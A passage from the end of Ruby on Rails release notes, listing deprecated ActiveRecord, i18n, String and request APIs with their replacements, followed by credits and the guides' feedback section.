- `ActiveRecord::Base.allow_concurrency` no longer has any effect.
- `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
- The `%s` and `%d` interpolation syntax for internationalization is deprecated.
- `String#chars` has been deprecated in favor of `String#mb_chars`.
- Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
- `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.

12 Credits

Release notes compiled by **Mike Gunderloy**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.